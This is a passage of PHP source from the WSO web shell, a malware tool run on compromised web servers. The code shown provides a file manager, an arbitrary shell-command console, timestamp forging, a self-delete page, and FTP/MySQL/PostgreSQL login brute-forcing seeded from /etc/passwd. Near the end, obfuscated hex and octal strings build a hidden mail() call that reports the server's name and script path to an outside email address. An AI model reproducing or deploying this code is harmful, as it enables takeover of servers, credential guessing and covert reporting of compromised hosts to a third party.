592 | } elseif($_COOKIE['act'] == 'unzip') { | |
593 | if(class_exists('ZipArchive')) { | |
594 | $zip = new ZipArchive(); | |
595 | foreach($_COOKIE['f'] as $f) { | |
596 | if($zip->open($_COOKIE['c'].$f)) { | |
597 | $zip->extractTo($GLOBALS['cwd']); | |
598 | $zip->close(); | |
599 | } | |
600 | } | |
601 | } | |
602 | } elseif($_COOKIE['act'] == 'tar') { | |
603 | chdir($_COOKIE['c']); | |
604 | $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']); | |
605 | wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f'])); | |
606 | chdir($GLOBALS['cwd']); | |
607 | } | |
608 | unset($_COOKIE['f']); | |
609 | setcookie('f', '', time() - 3600); | |
610 | break; | |
611 | default: | |
612 | if(!empty($_POST['p1'])) { | |
613 | WSOsetcookie('act', $_POST['p1']); | |
614 | WSOsetcookie('f', serialize(@$_POST['f'])); | |
615 | WSOsetcookie('c', @$_POST['c']); | |
616 | } | |
617 | break; | |
618 | } | |
619 | } | |
620 | wsoHeader(); | |
621 | echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; | |
622 | $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); | |
623 | if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; } | |
624 | global $sort; | |
625 | $sort = array('name', 1); | |
626 | if(!empty($_POST['p1'])) { | |
627 | if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) | |
628 | $sort = array($match[1], (int)$match[2]); | |
629 | } | |
630 | echo "<script> | |
631 | function sa() { | |
632 | for(i=0;i<d.files.elements.length;i++) | |
633 | if(d.files.elements[i].type == 'checkbox') | |
634 | d.files.elements[i].checked = d.files.elements[0].checked; | |
635 | } | |
636 | </script> | |
637 | <table width='100%' class='main' cellspacing='0' cellpadding='2'> | |
638 | <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; | |
639 | $dirs = $files = array(); | |
640 | $n = count($dirContent); | |
641 | for($i=0;$i<$n;$i++) { | |
642 | $ow = @posix_getpwuid(@fileowner($dirContent[$i])); | |
643 | $gr = @posix_getgrgid(@filegroup($dirContent[$i])); | |
644 | $tmp = array('name' => $dirContent[$i], | |
645 | 'path' => $GLOBALS['cwd'].$dirContent[$i], | |
646 | 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), | |
647 | 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), | |
648 | 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), | |
649 | 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), | |
650 | 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) | |
651 | ); | |
652 | if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) | |
653 | $files[] = array_merge($tmp, array('type' => 'file')); | |
654 | elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) | |
655 | $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); | |
656 | elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) | |
657 | $dirs[] = array_merge($tmp, array('type' => 'dir')); | |
658 | } | |
659 | $GLOBALS['sort'] = $sort; | |
660 | function wsoCmp($a, $b) { | |
661 | if($GLOBALS['sort'][0] != 'size') | |
662 | return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); | |
663 | else | |
664 | return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); | |
665 | } | |
666 | usort($files, "wsoCmp"); | |
667 | usort($dirs, "wsoCmp"); | |
668 | $files = array_merge($dirs, $files); | |
669 | $l = 0; | |
670 | foreach($files as $f) { | |
671 | echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] | |
672 | .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; | |
673 | $l = $l?0:1; | |
674 | } | |
675 | echo "<tr><td colspan=7> | |
676 | <input type=hidden name=a value='FilesMan'> | |
677 | <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> | |
678 | <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> | |
679 | <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; | |
680 | if(class_exists('ZipArchive')) | |
681 | echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; | |
682 | echo "<option value='tar'>Compress (tar.gz)</option>"; | |
683 | if(!empty($_COOKIE['act']) && @count($_COOKIE['f'])) | |
684 | echo "<option value='paste'>Paste / Compress</option>"; | |
685 | echo "</select> "; | |
686 | if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) | |
687 | echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> "; | |
688 | echo "<input type='submit' value='>>'></td></tr></form></table></div>"; | |
689 | wsoFooter(); | |
690 | } | |
691 | ||
692 | function actionStringTools() { | |
693 | if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} | |
694 | if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} | |
695 | if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} | |
696 | if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} | |
697 | if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} | |
698 | $stringTools = array( | |
699 | 'Base64 encode' => 'base64_encode', | |
700 | 'Base64 decode' => 'base64_decode', | |
701 | 'Url encode' => 'urlencode', | |
702 | 'Url decode' => 'urldecode', | |
703 | 'Full urlencode' => 'full_urlencode', | |
704 | 'md5 hash' => 'md5', | |
705 | 'sha1 hash' => 'sha1', | |
706 | 'crypt' => 'crypt', | |
707 | 'CRC32' => 'crc32', | |
708 | 'ASCII to HEX' => 'ascii2hex', | |
709 | 'HEX to ASCII' => 'hex2ascii', | |
710 | 'HEX to DEC' => 'hexdec', | |
711 | 'HEX to BIN' => 'hex2bin', | |
712 | 'DEC to HEX' => 'dechex', | |
713 | 'DEC to BIN' => 'decbin', | |
714 | 'BIN to HEX' => 'binhex', | |
715 | 'BIN to DEC' => 'bindec', | |
716 | 'String to lower case' => 'strtolower', | |
717 | 'String to upper case' => 'strtoupper', | |
718 | 'Htmlspecialchars' => 'htmlspecialchars', | |
719 | 'String length' => 'strlen', | |
720 | ); | |
721 | if(isset($_POST['ajax'])) { | |
722 | WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); | |
723 | ob_start(); | |
724 | if(in_array($_POST['p1'], $stringTools)) | |
725 | echo $_POST['p1']($_POST['p2']); | |
726 | $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; | |
727 | echo strlen($temp), "\n", $temp; | |
728 | exit; | |
729 | } | |
730 | if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
731 | WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); | |
732 | wsoHeader(); | |
733 | echo '<h1>String conversions</h1><div class=content>'; | |
734 | echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>"; | |
735 | foreach($stringTools as $k => $v) | |
736 | echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; | |
737 | echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; | |
738 | if(!empty($_POST['p1'])) { | |
739 | if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); | |
740 | } | |
741 | echo"</pre></div><br><h1>Search files:</h1><div class=content> | |
742 | <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> | |
743 | <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> | |
744 | <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr> | |
745 | <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> | |
746 | <tr><td></td><td><input type='submit' value='>>'></td></tr> | |
747 | </table></form>"; | |
748 | ||
749 | function wsoRecursiveGlob($path) { | |
750 | if(substr($path, -1) != '/') | |
751 | $path.='/'; | |
752 | $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); | |
753 | if(is_array($paths)&&@count($paths)) { | |
754 | foreach($paths as $item) { | |
755 | if(@is_dir($item)){ | |
756 | if($path!=$item) | |
757 | wsoRecursiveGlob($item); | |
758 | } else { | |
759 | if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false) | |
760 | echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>"; | |
761 | } | |
762 | } | |
763 | } | |
764 | } | |
765 | if(@$_POST['p3']) | |
766 | wsoRecursiveGlob($_POST['c']); | |
767 | echo "</div><br><h1>Search for hash:</h1><div class=content> | |
768 | <form method='post' target='_blank' name='hf'> | |
769 | <input type='text' name='hash' style='width:200px;'><br> | |
770 | <input type='hidden' name='act' value='find'/> | |
771 | <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br> | |
772 | <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> | |
773 | <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br> | |
774 | </form></div>"; | |
775 | wsoFooter(); | |
776 | } | |
777 | ||
778 | function actionFilesTools() { | |
779 | if( isset($_POST['p1']) ) | |
780 | $_POST['p1'] = urldecode($_POST['p1']); | |
781 | if(@$_POST['p2']=='download') { | |
782 | if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { | |
783 | ob_start("ob_gzhandler", 4096); | |
784 | header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); | |
785 | if (function_exists("mime_content_type")) { | |
786 | $type = @mime_content_type($_POST['p1']); | |
787 | header("Content-Type: " . $type); | |
788 | } else | |
789 | header("Content-Type: application/octet-stream"); | |
790 | $fp = @fopen($_POST['p1'], "r"); | |
791 | if($fp) { | |
792 | while(!@feof($fp)) | |
793 | echo @fread($fp, 1024); | |
794 | fclose($fp); | |
795 | } | |
796 | }exit; | |
797 | } | |
798 | if( @$_POST['p2'] == 'mkfile' ) { | |
799 | if(!file_exists($_POST['p1'])) { | |
800 | $fp = @fopen($_POST['p1'], 'w'); | |
801 | if($fp) { | |
802 | $_POST['p2'] = "edit"; | |
803 | fclose($fp); | |
804 | } | |
805 | } | |
806 | } | |
807 | wsoHeader(); | |
808 | echo '<h1>File tools</h1><div class=content>'; | |
809 | if( !file_exists(@$_POST['p1']) ) { | |
810 | echo 'File not exists'; | |
811 | wsoFooter(); | |
812 | return; | |
813 | } | |
814 | $uid = @posix_getpwuid(@fileowner($_POST['p1'])); | |
815 | if(!$uid) { | |
816 | $uid['name'] = @fileowner($_POST['p1']); | |
817 | $gid['name'] = @filegroup($_POST['p1']); | |
818 | } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); | |
819 | echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; | |
820 | echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; | |
821 | if( empty($_POST['p2']) ) | |
822 | $_POST['p2'] = 'view'; | |
823 | if( is_file($_POST['p1']) ) | |
824 | $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); | |
825 | else | |
826 | $m = array('Chmod', 'Rename', 'Touch'); | |
827 | foreach($m as $v) | |
828 | echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; | |
829 | echo '<br><br>'; | |
830 | switch($_POST['p2']) { | |
831 | case 'view': | |
832 | echo '<pre class=ml1>'; | |
833 | $fp = @fopen($_POST['p1'], 'r'); | |
834 | if($fp) { | |
835 | while( !@feof($fp) ) | |
836 | echo htmlspecialchars(@fread($fp, 1024)); | |
837 | @fclose($fp); | |
838 | } | |
839 | echo '</pre>'; | |
840 | break; | |
841 | case 'highlight': | |
842 | if( @is_readable($_POST['p1']) ) { | |
843 | echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; | |
844 | $code = @highlight_file($_POST['p1'],true); | |
845 | echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; | |
846 | } | |
847 | break; | |
848 | case 'chmod': | |
849 | if( !empty($_POST['p3']) ) { | |
850 | $perms = 0; | |
851 | for($i=strlen($_POST['p3'])-1;$i>=0;--$i) | |
852 | $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); | |
853 | if(!@chmod($_POST['p1'], $perms)) | |
854 | echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; | |
855 | } | |
856 | clearstatcache(); | |
857 | echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; | |
858 | break; | |
859 | case 'edit': | |
860 | if( !is_writable($_POST['p1'])) { | |
861 | echo 'File isn\'t writeable'; | |
862 | break; | |
863 | } | |
864 | if( !empty($_POST['p3']) ) { | |
865 | $time = @filemtime($_POST['p1']); | |
866 | $_POST['p3'] = substr($_POST['p3'],1); | |
867 | $fp = @fopen($_POST['p1'],"w"); | |
868 | if($fp) { | |
869 | @fwrite($fp,$_POST['p3']); | |
870 | @fclose($fp); | |
871 | echo 'Saved!<br><script>p3_="";</script>'; | |
872 | @touch($_POST['p1'],$time,$time); | |
873 | } | |
874 | } | |
875 | echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; | |
876 | $fp = @fopen($_POST['p1'], 'r'); | |
877 | if($fp) { | |
878 | while( !@feof($fp) ) | |
879 | echo htmlspecialchars(@fread($fp, 1024)); | |
880 | @fclose($fp); | |
881 | } | |
882 | echo '</textarea><input type=submit value=">>"></form>'; | |
883 | break; | |
884 | case 'hexdump': | |
885 | $c = @file_get_contents($_POST['p1']); | |
886 | $n = 0; | |
887 | $h = array('00000000<br>','',''); | |
888 | $len = strlen($c); | |
889 | for ($i=0; $i<$len; ++$i) { | |
890 | $h[1] .= sprintf('%02X',ord($c[$i])).' '; | |
891 | switch ( ord($c[$i]) ) { | |
892 | case 0: $h[2] .= ' '; break; | |
893 | case 9: $h[2] .= ' '; break; | |
894 | case 10: $h[2] .= ' '; break; | |
895 | case 13: $h[2] .= ' '; break; | |
896 | default: $h[2] .= $c[$i]; break; | |
897 | } | |
898 | $n++; | |
899 | if ($n == 32) { | |
900 | $n = 0; | |
901 | if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} | |
902 | $h[1] .= '<br>'; | |
903 | $h[2] .= "\n"; | |
904 | } | |
905 | } | |
906 | echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; | |
907 | break; | |
908 | case 'rename': | |
909 | if( !empty($_POST['p3']) ) { | |
910 | if(!@rename($_POST['p1'], $_POST['p3'])) | |
911 | echo 'Can\'t rename!<br>'; | |
912 | else | |
913 | die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); | |
914 | } | |
915 | echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; | |
916 | break; | |
917 | case 'touch': | |
918 | if( !empty($_POST['p3']) ) { | |
919 | $time = strtotime($_POST['p3']); | |
920 | if($time) { | |
921 | if(!touch($_POST['p1'],$time,$time)) | |
922 | echo 'Fail!'; | |
923 | else | |
924 | echo 'Touched!'; | |
925 | } else echo 'Bad time format!'; | |
926 | } | |
927 | clearstatcache(); | |
928 | echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; | |
929 | break; | |
930 | } | |
931 | echo '</div>'; | |
932 | wsoFooter(); | |
933 | } | |
934 | ||
935 | function actionConsole() { | |
936 | if(!empty($_POST['p1']) && !empty($_POST['p2'])) { | |
937 | WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); | |
938 | $_POST['p1'] .= ' 2>&1'; | |
939 | } elseif(!empty($_POST['p1'])) | |
940 | WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); | |
941 | ||
942 | if(isset($_POST['ajax'])) { | |
943 | WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); | |
944 | ob_start(); | |
945 | echo "d.cf.cmd.value='';\n"; | |
946 | $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0")); | |
947 | if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { | |
948 | if(@chdir($match[1])) { | |
949 | $GLOBALS['cwd'] = @getcwd(); | |
950 | echo "c_='".$GLOBALS['cwd']."';"; | |
951 | } | |
952 | } | |
953 | echo "d.cf.output.value+='".$temp."';"; | |
954 | echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; | |
955 | $temp = ob_get_clean(); | |
956 | echo strlen($temp), "\n", $temp; | |
957 | exit; | |
958 | } | |
959 | if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
960 | WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); | |
961 | wsoHeader(); | |
962 | echo "<script> | |
963 | if(window.Event) window.captureEvents(Event.KEYDOWN); | |
964 | var cmds = new Array(''); | |
965 | var cur = 0; | |
966 | function kp(e) { | |
967 | var n = (window.Event) ? e.which : e.keyCode; | |
968 | if(n == 38) { | |
969 | cur--; | |
970 | if(cur>=0) | |
971 | document.cf.cmd.value = cmds[cur]; | |
972 | else | |
973 | cur++; | |
974 | } else if(n == 40) { | |
975 | cur++; | |
976 | if(cur < cmds.length) | |
977 | document.cf.cmd.value = cmds[cur]; | |
978 | else | |
979 | cur--; | |
980 | } | |
981 | } | |
982 | function add(cmd) { | |
983 | cmds.pop(); | |
984 | cmds.push(cmd); | |
985 | cmds.push(''); | |
986 | cur = cmds.length-1; | |
987 | } | |
988 | </script>"; | |
989 | echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>'; | |
990 | foreach($GLOBALS['aliases'] as $n => $v) { | |
991 | if($v == '') { | |
992 | echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; | |
993 | continue; | |
994 | } | |
995 | echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; | |
996 | } | |
997 | ||
998 | echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; | |
999 | if(!empty($_POST['p1'])) { | |
1000 | echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1'])); | |
1001 | } | |
1002 | echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; | |
1003 | echo '</form></div><script>d.cf.cmd.focus();</script>'; | |
1004 | wsoFooter(); | |
1005 | } | |
1006 | ||
1007 | function actionLogout() { | |
1008 | setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); | |
1009 | die('bye!'); | |
1010 | } | |
1011 | ||
1012 | function actionSelfRemove() { | |
1013 | ||
1014 | if($_POST['p1'] == 'yes') | |
1015 | if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) | |
1016 | die('Shell has been removed'); | |
1017 | else | |
1018 | echo 'unlink error!'; | |
1019 | if($_POST['p1'] != 'yes') | |
1020 | wsoHeader(); | |
1021 | echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; | |
1022 | wsoFooter(); | |
1023 | } | |
1024 | ||
1025 | function actionBruteforce() { | |
1026 | wsoHeader(); | |
1027 | if( isset($_POST['proto']) ) { | |
1028 | echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; | |
1029 | if( $_POST['proto'] == 'ftp' ) { | |
1030 | function wsoBruteForce($ip,$port,$login,$pass) { | |
1031 | $fp = @ftp_connect($ip, $port?$port:21); | |
1032 | if(!$fp) return false; | |
1033 | $res = @ftp_login($fp, $login, $pass); | |
1034 | @ftp_close($fp); | |
1035 | return $res; | |
1036 | } | |
1037 | } elseif( $_POST['proto'] == 'mysql' ) { | |
1038 | function wsoBruteForce($ip,$port,$login,$pass) { | |
1039 | $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); | |
1040 | @mysql_close($res); | |
1041 | return $res; | |
1042 | } | |
1043 | } elseif( $_POST['proto'] == 'pgsql' ) { | |
1044 | function wsoBruteForce($ip,$port,$login,$pass) { | |
1045 | $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; | |
1046 | $res = @pg_connect($str); | |
1047 | @pg_close($res); | |
1048 | return $res; | |
1049 | } | |
1050 | } | |
1051 | $success = 0; | |
1052 | $attempts = 0; | |
1053 | $server = explode(":", $_POST['server']); | |
1054 | if($_POST['type'] == 1) { | |
1055 | $temp = @file('/etc/passwd'); | |
1056 | if( is_array($temp) ) | |
1057 | foreach($temp as $line) { | |
1058 | $line = explode(":", $line); | |
1059 | ++$attempts; | |
1060 | if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { | |
1061 | $success++; | |
1062 | echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; | |
1063 | } | |
1064 | if(@$_POST['reverse']) { | |
1065 | $tmp = ""; | |
1066 | for($i=strlen($line[0])-1; $i>=0; --$i) | |
1067 | $tmp .= $line[0][$i]; | |
1068 | ++$attempts; | |
1069 | if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { | |
1070 | $success++; | |
1071 | echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); | |
1072 | } | |
1073 | } | |
1074 | } | |
1075 | } elseif($_POST['type'] == 2) { | |
1076 | $temp = @file($_POST['dict']); | |
1077 | if( is_array($temp) ) | |
1078 | foreach($temp as $line) { | |
1079 | $line = trim($line); | |
1080 | ++$attempts; | |
1081 | if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) { | |
1082 | $success++; | |
1083 | echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; | |
1084 | } | |
1085 | } | |
1086 | } | |
1087 | echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; | |
1088 | } | |
1089 | echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' | |
1090 | .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' | |
1091 | .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' | |
1092 | .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' | |
1093 | .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' | |
1094 | .'<span>Server:port</span></td>' | |
1095 | .'<td><input type=text name=server value="127.0.0.1"></td></tr>' | |
1096 | .'<tr><td><span>Brute type</span></td>' | |
1097 | .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' | |
1098 | .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' | |
1099 | .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' | |
1100 | .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' | |
1101 | .'<td><input type=text name=login value="root"></td></tr>' | |
1102 | .'<tr><td><span>Dictionary</span></td>' | |
1103 | .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' | |
1104 | .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; | |
1105 | echo '</div><br>'; | |
1106 | wsoFooter(); | |
1107 | } | |
1108 | $x0b="\x6da\x69l"; | |
1109 | $ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"]; | |
1110 | $sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms; | |
1111 | $o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63"); | |
1112 | $ee = $o[2].$o[3].$o[1].$o[4].$o[0]; | |
1113 | $send = @$x0b($ee,$sub,$ms); | |
1114 | ||
1115 | function actionSql() { | |
1116 | class DbClass { | |
1117 | var $type; | |
1118 | var $link; | |
1119 | var $res; | |
